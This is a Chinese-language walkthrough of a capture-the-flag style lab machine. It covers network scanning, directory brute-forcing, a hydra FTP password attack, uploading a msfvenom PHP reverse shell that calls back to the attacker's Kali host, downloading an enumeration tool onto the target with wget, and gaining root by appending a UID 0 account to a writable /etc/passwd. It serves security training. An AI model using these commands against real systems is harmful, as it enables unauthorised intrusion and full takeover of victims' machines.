环境:下载靶机、解压、VMware打开,并将其和kali虚拟机的网络调成NAT模式
探测目标主机IP情况
nmap 192.168.153.0/24
目标主机IP:192.168.153.150
Kali的P:192.168.153.129
Nmap 进行常规端口开放扫描
进行namp全端口服务枚举
nmap 192.168.153.150 -p- -A
发现开放了 ftp 21端口,http 80端口。
对该网站目录进行爆破枚举,利用到的是kali上的dirb:
dirb http://192.168.153.150
浏览器访问http://192.168.153.150/index.html
再使用nikto命令爆破网站目录:
nikto -h 192.168.153.150
没啥东西可以查看滴
再换gobuster命令尝试:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x html -u http://192.168.153.150
发现也没啥东西!!!
于是尝试ftp 21端口爆破,试试使用用户名chili进行密码爆破。
使用九头蛇hydra:
hydra -l chili -P webshell.txt ftp://192.168.153.150
爆破成功,得到ftp用户名:chili 密码:a1b2c3d4
kali中进行ftp登录
ftp 192.168.153.150
成功登录到ftp。
进入cd /var/www/html目录下,发现了.nano文件夹有读,写,执行权限。
生成反弹shell脚本
使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.153.129(kali的IP地址) LPORT=4567 R>shell.php
方法二补充:(这里可以直接利用 Kali 自带的 php-shell,修改$ip和$port。/usr/share/webshells/php/php-reverse-shell.php)
利用 put
命令,尝试上传 shell 到 .nano
目录中
put shell.php /var/www/html/.nano/shell.php
给shell.php文件权限,使用chmod命令
chmod 777 shell.php
启动msf,使用payload为之前生成后门所用的payload,之后访问http://192.168.153.150shell.php,顺利反弹shell;
msfconsole
设置Kali的IP,以及设置生成shell.php所使用的端口4567,然后运行。
在浏览器中访问http://192.168.153.150/.nano/shell.php,Kali中顺利反弹shell。
再输入shell
shell
python3 -c "import pty;pty.spawn('/bin/bash')" 显示当前路径
(注:SHELL=/bin/bash script -q /dev/null 也可以获得一个交互式 shell)
成功拿到靶机的webshell,但是权限不高,我们得进行提权
这里会用到一个工具 enumy64:是一款linux后渗透提权枚举工具,是一个快速的可移植、可执行文件
下载地址:https://github.com/luke-goddard/enumy/releases
直接下载enumy64然后放到kali里即可
然后我们使用wget下载到靶机。
首先在Kali中开启网站服务
python3 -m http.server
wget 192.168.153.129:8000/enumy64
给其权限,使用chmod命令,再./enumy64运行
chmod 777 enumy64
./enumy64
运行后得到信息:
通过以上信息,我们发现我们对/etc/passwd文件有写的权限,这里我们可以直接写入一个高权限用户,然后进行登录。
/var/www/html/.nano$ /usr/bin/perl -le 'print crypt("123456","salt")'
原密码:123456
盐值:salt
加密密码sahL5d5V.UWtI
使用命令:/usr/bin/perl -le ‘print crypt(“123456”,“salt”)’,这个命令为使用perl脚本语言,执行crypt模块,将salt加密字符串输出;
使用命令:echo “test:sahL5d5V.UWtI:0:0:root:/root:/bin/bash” >> /etc/passwd
在passwd文件中,写入test账户信息
id发现是root用户,提权成功!!!!!
在该靶机渗透流程中,前端的信息收集尤为重要,爆破web网页中,查看源代码是很有益处的,可以看到一些敏感信息。
以及一些爆破工具的使用,hydra工具是此次渗透的关键,爆破出了ftp账号密码;然后使用ftp端口服务进行ftp权限登陆,查看可执行文件类型,而后生成shell脚本,访问网页,进行反弹shell,得到shell;
提权操作:用到一个工具 enumy64:是一款linux后渗透提权枚举工具 (利用 /etc/passwd 文件) 该实验中使用passwd文件可执行权限,给予普通用户root权限,设置普通用户UID,GID均为0;